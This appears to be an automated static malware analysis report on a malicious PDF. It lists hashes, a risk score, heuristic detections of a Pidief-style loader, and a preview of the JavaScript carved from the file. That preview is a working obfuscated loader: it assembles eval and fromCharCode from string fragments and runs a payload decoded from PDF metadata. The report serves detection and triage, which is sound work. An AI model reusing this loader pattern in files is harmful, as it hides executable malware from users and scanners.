Malicious PDF — malware analysis report

Static analysis result for SHA-256 c360ea10e32a3e90…

MALICIOUS

PDF

44.5 KB Authoring application: substr First seen: 2012-10-03
MD5: c7a4dc30a5951714b5a158b9f1f340e1 SHA-1: c0a24bf2f55afbe16556ec2b3cc47fe610ccd255 SHA-256: c360ea10e32a3e90ca8bf6a16d5b4d8bd8a08ef5ceb758f79b89e78a4837a0af
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by heuristic firings and the presence of a JavaScript object. The ML classifier strongly suggests malicious intent. The embedded JavaScript is likely responsible for executing malicious code, although its specific actions cannot be determined without further analysis of the script content. The document body 'substr split test' provides no contextual clues.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF61 450 bytes
SHA-256: 9f3188640015f232bbcda73cccd91c375e0cbf9f3dbf2027c42485ea73af959a
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=v[v]()[s];
mgtcq=e('ti'.concat(v[4],t));
q=mgtcq[v](a.length-6,a.length+2);
krzgr=e(v[0].toUpperCase().concat(v[4],'ring.f',q[4],a[6],q));
q=mgtcq[v](t.length+12)[e(v[0]+'ubjec'+v[4])]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	atal = 1*(q[i]);
	i++;
	atal -= (-1)*(q[i]);
	s2 = s2.concat(krzgr(atal));
	i++;
}
e(s2);

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